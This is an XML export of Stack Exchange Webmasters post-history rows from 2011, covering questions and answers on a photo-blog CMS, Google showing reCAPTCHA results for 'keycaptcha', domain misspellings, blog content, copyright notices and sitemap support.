  <row Id="18145" PostHistoryTypeId="2" PostId="8412" RevisionGUID="a6288eb3-0e93-41cc-a75d-6338b1869b93" CreationDate="2011-01-28T16:26:49.440" UserId="4993" Text="I need to add photo-blog to a site that I'm recently working on. It is very simple site so the blog doesn't have to be very sophisticated. &#xD;&#xA;&#xD;&#xA;What I need is:&#xD;&#xA;&#xD;&#xA; - a CMS that allows me to create simple blog-like news with one (or more) images at the beginning and some description/comment below. Preferably, I would like to create something that works like sites like these two:&#xD;&#xA;http://www.photoblog.com/dreamie or http://www.photoblog.pl/mending/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - it must be customizable. I want to integrate it's look as much as possible with current page: http://saviorforest.tk&#xD;&#xA;&#xD;&#xA; - preferably, it should provide some mechanizm for uploading and storing images at the server. &#xD;&#xA;&#xD;&#xA;I thought about wordpress, but it seems to be a little bit too complicated for such simple task. Do you know any simple and easy in use CMS that would work here?" />
  <row Id="18146" PostHistoryTypeId="1" PostId="8412" RevisionGUID="a6288eb3-0e93-41cc-a75d-6338b1869b93" CreationDate="2011-01-28T16:26:49.440" UserId="4993" Text="Which CMS for photo-blog website?" />
  <row Id="18147" PostHistoryTypeId="3" PostId="8412" RevisionGUID="a6288eb3-0e93-41cc-a75d-6338b1869b93" CreationDate="2011-01-28T16:26:49.440" UserId="4993" Text="&lt;cms&gt;" />
  <row Id="18148" PostHistoryTypeId="5" PostId="8313" RevisionGUID="747d3314-ddc0-474c-b4ff-0a148d613179" CreationDate="2011-01-28T16:31:37.923" UserId="4643" Comment="added 154 characters in body; deleted 68 characters in body" Text="EDIT: I'd like to change this title to:&#xD;&#xA;&#xD;&#xA;How to STOP Google's manipulation of Google search engine presented to general public?  &#xD;&#xA;---- &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;@[Michael][7], &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;These distortions happen upon clicking on: &#xD;&#xA;  &#xD;&#xA;  -   Past 24 hours, &#xD;&#xA;  - Past week, &#xD;&#xA;  - Past month, &#xD;&#xA;  - Past year&#xD;&#xA;  - in many other keywords, occasions/configurations of searches, etc. &#xD;&#xA;&#xD;&#xA;Second, **the absence of the results is the result and there is no point to sneakingly substitute it by another unsolicited one. It is the definition of spam and scam**.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.   &#xD;&#xA;  &#xD;&#xA;Update:  &#xD;&#xA;I could not understand:    &#xD;&#xA;nobody reproduces the described by me behavior  &#xD;&#xA;(i.e. when I click &quot;Past 24 hours&quot; link in google search searching for keycaptcha,   &#xD;&#xA;the presented results are only on reCAPTCHA presented)?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;This is what I see on googling by keycaptcha for &quot;Past 24 hours&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24&#xD;&#xA;  [7]: http://Michael&#xD;&#xA; " />
  <row Id="18149" PostHistoryTypeId="2" PostId="8413" RevisionGUID="8ccff98a-6867-4186-8595-624b19e5ef26" CreationDate="2011-01-28T16:32:07.500" UserId="4410" Text="The variation would have to be very obvious and something easily remembered, or it will just cause you trouble.  Even having it &quot;right&quot; can be an issue.&#xD;&#xA;&#xD;&#xA;For example, my [freelance writing business is ArcticLlama, LLC][1] with the domain name arcticllama.com.  After a year in business I had to go register articllama.com because people are so prone to misspelling &quot;arctic&quot; without the first 'c'.&#xD;&#xA;&#xD;&#xA;On the other hand, the real spelling of &quot;google&quot; is &quot;googol&quot;.  In that case, the variation is actually easier to remember because it follows the spelling &quot;rules&quot; people are used to. &#xD;&#xA;&#xD;&#xA;In other words, unless your variation really makes sense to people and will stick in their minds without you having to point it out to them, you might be shooting yourself in the foot.&#xD;&#xA;&#xD;&#xA;As far as ranking goes, if you buy into the theory that your domain name is part of the ranking, then you won't get &quot;credit&quot; for the alternate spelling.&#xD;&#xA;&#xD;&#xA;Even if you don't believe that your domain name is part of the algorithm, when people link to foobarite.com, they'll be increasing your authority for foobarite and not for foobarit.  Not that I think either actually makes that much difference to Google, but there are those that disagree.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arcticllama.com" />
  <row Id="18150" PostHistoryTypeId="5" PostId="8313" RevisionGUID="0ac726b3-788a-496d-bab8-634c4ee53a95" CreationDate="2011-01-28T16:38:12.537" UserId="4643" Comment="added 73 characters in body" Text="EDIT: I'd like to change this title to:&#xD;&#xA;&#xD;&#xA;How to STOP Google's manipulation of Google search engine presented to general public?  &#xD;&#xA;---- &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;@[Michael][7], &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;These distortions happen upon clicking on: &#xD;&#xA;  &#xD;&#xA;  -   Past 24 hours, &#xD;&#xA;  - Past week, &#xD;&#xA;  - Past month, &#xD;&#xA;  - Past year&#xD;&#xA;  - in many other keywords, occasions/configurations of searches, etc. &#xD;&#xA;&#xD;&#xA;Second, **the absence of the results is the result and there is no point to sneakingly substitute it by another unsolicited one. It is the definition of spam and scam**.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.   &#xD;&#xA;  &#xD;&#xA;Update:  &#xD;&#xA;I could not understand:    &#xD;&#xA;nobody reproduces the described by me behavior  &#xD;&#xA;(i.e. when I click &quot;Past 24 hours&quot; link in google search searching for keycaptcha,   &#xD;&#xA;the presented results are only on reCAPTCHA presented)?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;This is what I see on googling by keycaptcha for &quot;Past 24 hours&quot;:  &#xD;&#xA;&#xD;&#xA;![enter image description here][8]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24&#xD;&#xA;  [7]: http://Michael&#xD;&#xA;  [8]: http://i.stack.imgur.com/eFihp.png" />
  <row Id="18151" PostHistoryTypeId="5" PostId="8406" RevisionGUID="7f0eced9-5b60-48a5-a00b-e4871797faa8" CreationDate="2011-01-28T16:42:58.470" UserId="1757" Comment="added 643 characters in body" Text="Before you start worrying about widgets, advertising, RSS, or any of the other peripheral components to your blog, you need to actually have good content. If you don't have good content, you can add all the widgets and &quot;java codes&quot; you want, and you'll still just have a useless blog that no one visits.&#xD;&#xA;&#xD;&#xA;&quot;Content is king&quot; isn't just a cliche. It's an axiom of online success. You need to either provide a service that people want or publish content that people want. That's what makes your site useful. A blog is no different.&#xD;&#xA;&#xD;&#xA;Once you have good, unique (original) content, you can think about monetizing, promoting, syndicating, etc. No one is going to come to your blog just for some sidebar widget you installed.&#xD;&#xA;&#xD;&#xA;Adding widgets or JavaScript just for the sake of adding something isn't likely to be an improvement or upgrade. You should only add widget or code if you have a need. Otherwise, you're just doing it to be trendy or to create pointless novelty. Just look at all the old Myspace profiles with a million flash embeds and other useless widgets. They add no value to the page and instead just annoy users. Facebook apps are getting to be the same.&#xD;&#xA;&#xD;&#xA;The only thing you should be adding to your blog for its own sake is content. And it will yield far better returns than a *&quot;which TV show character are you?&quot;* quiz or any other popular widget." />
  <row Id="18152" PostHistoryTypeId="2" PostId="8414" RevisionGUID="602eb74c-d193-4f75-bd76-f8790ba0ccb3" CreationDate="2011-01-28T16:44:04.833" UserId="3994" Text="Some background:&#xD;&#xA;&#xD;&#xA; - Based on Django&#xD;&#xA; - User submitted content&#xD;&#xA; - I'm in the USA (NYC to be exact)&#xD;&#xA;&#xD;&#xA;Any other relevant information you need to make a suggestion, just ask in comments." />
  <row Id="18153" PostHistoryTypeId="1" PostId="8414" RevisionGUID="602eb74c-d193-4f75-bd76-f8790ba0ccb3" CreationDate="2011-01-28T16:44:04.833" UserId="3994" Text="Is adding &quot;all rights reserved&quot; or copyright in the bottom of my webapp necessary? And why?" />
  <row Id="18154" PostHistoryTypeId="3" PostId="8414" RevisionGUID="602eb74c-d193-4f75-bd76-f8790ba0ccb3" CreationDate="2011-01-28T16:44:04.833" UserId="3994" Text="&lt;web-development&gt;&lt;website&gt;&lt;copyright&gt;" />
  <row Id="18155" PostHistoryTypeId="2" PostId="8415" RevisionGUID="f47e688c-0d2f-4b48-b5fe-2dd433cacc04" CreationDate="2011-01-28T16:48:47.217" UserId="1253" Text="From [Related question][1]&#xD;&#xA;&#xD;&#xA;&gt; You automatically have the copyright&#xD;&#xA;&gt; to any work you create. There isn't an&#xD;&#xA;&gt; official register of copyright. You&#xD;&#xA;&gt; can apply for trademarks and patents&#xD;&#xA;&gt; if you have anything that qualifies.&#xD;&#xA;&#xD;&#xA;Based on that answer I'd say it is unnecessary for your own content. As for the user submitted content it gets sticky. What if someone has posted copyrighted content of their own or from another source? You cannot claim copyright on it yourself as it has already been copyrighted by someone else. If you want to copyright the original content of user submitted content you will need to make sure your terms of service state that any original content posted by your users is copyright by you and make sure they have to agree to those terms before submitting content so they cannot claim ignorance if you do use their content for your own purposes. &#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/95/how-do-i-copyright-my-website" />
  <row Id="18156" PostHistoryTypeId="6" PostId="8414" RevisionGUID="0fbcfcbb-7969-4907-a57c-2347c0d7e361" CreationDate="2011-01-28T16:53:40.110" UserId="1253" Comment="Removed &quot;web-development website&quot; tags" Text="&lt;copyright&gt;" />
  <row Id="18157" PostHistoryTypeId="2" PostId="8416" RevisionGUID="31053c96-5346-4b61-90fa-3c42479afc25" CreationDate="2011-01-28T17:02:12.453" UserId="4992" Text="I know Google webmaster supports submitting Image, mobile, video and other types of sitemaps. YAHOO also mentions about mobile site map [here][1]. But does it support Image and video sitemaps.&#xD;&#xA;&#xD;&#xA;I could not find if BING supports any of these types other than XML sitemaps. Can someone please point me to any documentation on submitting Image and Mobile sitemaps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.yahoo.com/l/uk/yahoo/mobile/search/mobilewebtips.html" />
  <row Id="18158" PostHistoryTypeId="1" PostId="8416" RevisionGUID="31053c96-5346-4b61-90fa-3c42479afc25" CreationDate="2011-01-28T17:02:12.453" UserId="4992" Text="YAHOO and BING support for Image and Mobile sitemaps" />
  <row Id="18159" PostHistoryTypeId="3" PostId="8416" RevisionGUID="31053c96-5346-4b61-90fa-3c42479afc25" CreationDate="2011-01-28T17:02:12.453" UserId="4992" Text="&lt;seo&gt;&lt;sitemap&gt;&lt;google-webmaster-tools&gt;&lt;yahoo&gt;&lt;bing-webmaster-tools&gt;" />
  <row Id="18160" PostHistoryTypeId="5" PostId="8313" RevisionGUID="a8f8514c-dbe3-47ab-b6fe-461f7dcc7310" CreationDate="2011-01-28T17:02:53.823" UserId="4643" Comment="added 249 characters in body" Text="EDIT: I'd like to change this title to:&#xD;&#xA;&#xD;&#xA;How to STOP Google's manipulation of Google search engine presented to general public?  &#xD;&#xA;---- &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;@[Michael][7],  &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;These distortions happen upon clicking on: &#xD;&#xA;  &#xD;&#xA;  -   Past 24 hours, &#xD;&#xA;  - Past week, &#xD;&#xA;  - Past month, &#xD;&#xA;  - Past year&#xD;&#xA;  - in many other keywords, occasions/configurations of searches, etc. &#xD;&#xA;&#xD;&#xA;Second, **the absence of the results is the result and there is no point to sneakingly substitute it by another unsolicited one. It is the definition of spam and scam**.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.   &#xD;&#xA;  &#xD;&#xA;Update:  &#xD;&#xA;I could not understand:    &#xD;&#xA;nobody reproduces the described by me behavior  &#xD;&#xA;(i.e. when I click &quot;Past 24 hours&quot; link in google search searching for keycaptcha,   &#xD;&#xA;the presented results are only on reCAPTCHA presented)?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;This is what I see on googling by keycaptcha for &quot;Past 24 hours&quot;:  &#xD;&#xA;&#xD;&#xA;![enter image description here][8]&#xD;&#xA;&#xD;&#xA;And for the &quot;Past week&quot;:  &#xD;&#xA;&#xD;&#xA;![enter image description here][9]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [8]: http://i.stack.imgur.com/eFihp.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24&#xD;&#xA;  [7]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha/8328#8328&#xD;&#xA;  [8]: http://i.stack.imgur.com/Ptqd3.png&#xD;&#xA;  [9]: http://i.stack.imgur.com/hjKmZ.png" />
  <row Id="18167" PostHistoryTypeId="5" PostId="8313" RevisionGUID="b14415fc-0f0a-4b5a-ba76-c466abef0255" CreationDate="2011-01-28T17:14:43.813" UserId="4643" Comment="deleted 97 characters in body" Text="EDIT: I'd like to change this title to:&#xD;&#xA;&#xD;&#xA;How to STOP Google's manipulation of Google search engine presented to general public?  &#xD;&#xA;---- &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Image uploaded later:  &#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][3] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][4]  &#xD;&#xA;  - [IP adresses blacklisting][5]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][6]. &#xD;&#xA;  &#xD;&#xA;There is a [work-around to use google.com/ncr (to get google.com)][7]    &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even.   &#xD;&#xA;But all results are exactly the same&#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;@[Michael][9],  &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;These distortions happen upon clicking on: &#xD;&#xA;  &#xD;&#xA;  -   Past 24 hours, &#xD;&#xA;  - Past week, &#xD;&#xA;  - Past month, &#xD;&#xA;  - Past year&#xD;&#xA;  - in many other keywords, occasions/configurations of searches, etc. &#xD;&#xA;&#xD;&#xA;Second, **the absence of the results is the result and there is no point to sneakingly substitute it by another unsolicited one. It is the definition of spam and scam**.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.   &#xD;&#xA;  &#xD;&#xA;Update:  &#xD;&#xA;I could not understand:    &#xD;&#xA;nobody reproduces the described by me behavior  &#xD;&#xA;(i.e. when I click &quot;Past 24 hours&quot; link in google search searching for keycaptcha,   &#xD;&#xA;the presented results are only on reCAPTCHA presented)?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;And for the &quot;Past week&quot;:  &#xD;&#xA;&#xD;&#xA;![for the &quot;Past week&quot;][10]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://i.stack.imgur.com/RrYzK.png&#xD;&#xA;  [3]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [4]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [5]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [6]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [7]: http://en.kioskea.net/forum/affich-14111-how-to-change-from-google-xx-to-google-com&#xD;&#xA;  [8]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24&#xD;&#xA;  [9]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha/8328#8328&#xD;&#xA;  [10]: http://i.stack.imgur.com/hjKmZ.png" />
